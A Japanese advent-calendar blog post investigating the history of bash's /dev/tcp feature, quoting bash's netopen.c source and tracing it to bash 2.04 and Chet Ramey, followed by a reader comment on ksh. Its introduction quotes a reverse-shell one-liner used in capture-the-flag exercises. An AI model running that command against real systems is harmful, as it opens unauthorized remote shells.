/dev/tcpの歴史
この記事はcoins Advent Calendar 2023の11日目の記事です。
まえがき
突然ですが、皆さんは人生で一度はリバースシェルを作ってシェルを奪取しflagを取得したことがあると思います。その時、ターゲットのマシンで以下のようなコマンドを実行したことでしょう。
sh -i >& /dev/tcp/192.168.1.1/9001 0>&1
ところで、このコマンドで使われている/dev/tcp/*/*
というディレクトリ(?)を皆さんはご存知でしたか?私はリバースシェルを作るときに初めて知り、以降リバースシェルを作る時以外使ったことがありません。
これは一体誰がなんの目的のために実装したものでしょうか?
gitのログを遡って調べてみました。ソースは以下になります。
/dev/tcpが呼び出されるまで
/dev/tcp
という文字列を検索するとnetopen.c
のファイルがヒットします。
コメントによるとnetopen
という関数が/dev/tcp/host/port
のhost
とport
を抽出してsocketを開いているようです。
/*
* Open a TCP or UDP connection given a path like `/dev/tcp/host/port' to
* host `host' on port `port' and return the connected socket.
*/
int
netopen (char *path)
{
char *np, *s, *t;
int fd;
np = (char *)xmalloc (strlen (path) + 1);
strcpy (np, path);
s = np + 9;
t = strchr (s, '/');
if (t == 0)
{
internal_error (_("%s: bad network path specification"), path);
free (np);
return -1;
}
*t++ = '\0';
fd = _netopen (s, t, path[5]);
free (np);
return fd;
}
ではこの関数がどこから呼び出されているのか確認してみると最終的にdo_redirection_internal
という関数にたどり着きます。
do_redirection_internal(redirect,flag,fnp)
redir_open(filename, flags, mode, ri)
-
filename
が"/dev/tcp/*/*"
または/dev/udp/*/*
である場合 redir_special_open(spec, filename, flags, mode, ri)
netopen(path)
リダイレクトでしかこのファイルにはアクセスできないようです。ls
コマンドを実行して確認してみましょう。
$ ls -la /dev/tcp
ls: cannot access '/dev/tcp': No such file or directory
commitの確認
関係するコードをblameしてみるとbb70624
というcommitであることがわかります。
このcommitのコミットメッセージはImported from ../bash-2.04.tar.gz.
となっています。
ということで、bash-2.04.tar.gz
を探してみるとGNUのftpサーバーに存在しました。
このバージョンは2000-03-21にリリースされたようです。ちなみにgitの初版は2005-04-07です。
Gitもないこの時代netopen.c
の作者はどのようにして知ることができるでしょうか?
AUTHORというファイルが存在しますが、netopen.c
は誰が書いたかは書かれていませんでした。
最終的に手がかりは、netopen.c
の上部の署名しかありませんでした。そこからこのファイル自体を作成したのはChet Ramey氏であるとわかります。
/dev/tcp作成の意図
Change Logや変更のあったコードを読みましたが、作成の意図は書かれていませんでした。
ただ、同時に/dev/stdin
や/dev/fd
等便利なショートカットが追加されているので便利機能としての追加である可能性があります。
終わりに
/dev/tcp
はChet Ramey氏によって作成されたことがわかりました。
bashのソースコードはLinux Kernel等に比べてかなり単純なので読みやすかったです。bashソースコードリーディング、暇つぶしに丁度いいのではないでしょうか。
余談
/dev/tcp/{host}/{port}
のport部分にはサービス名も入れることができます。
( echo -e "GET / HTTP/1.0\r\n" >&3; cat <&3; ) 3<> /dev/tcp/www.google.com/http
なので、上のようにすることでもGoogleのサイトにhttpリクエストを飛ばすことができます。
Discussion
bashの機能の多くはksh由来です。kshで実装されており便利そう&互換性のためにbashにも導入したのでしょう。ファイルとしてアクセスできるのはUnix的ではあるので。
kshではどうやら1990年のksh88eあたりで実装されたようです。
意図は単純にシェルスクリプトからネットワークに接続できるようにSocket接続に対応したと言うだけのことでしょう。
補足ありがとうございます。
kshにもこの機能があるのは知りませんでした。kshのソースも見てみます。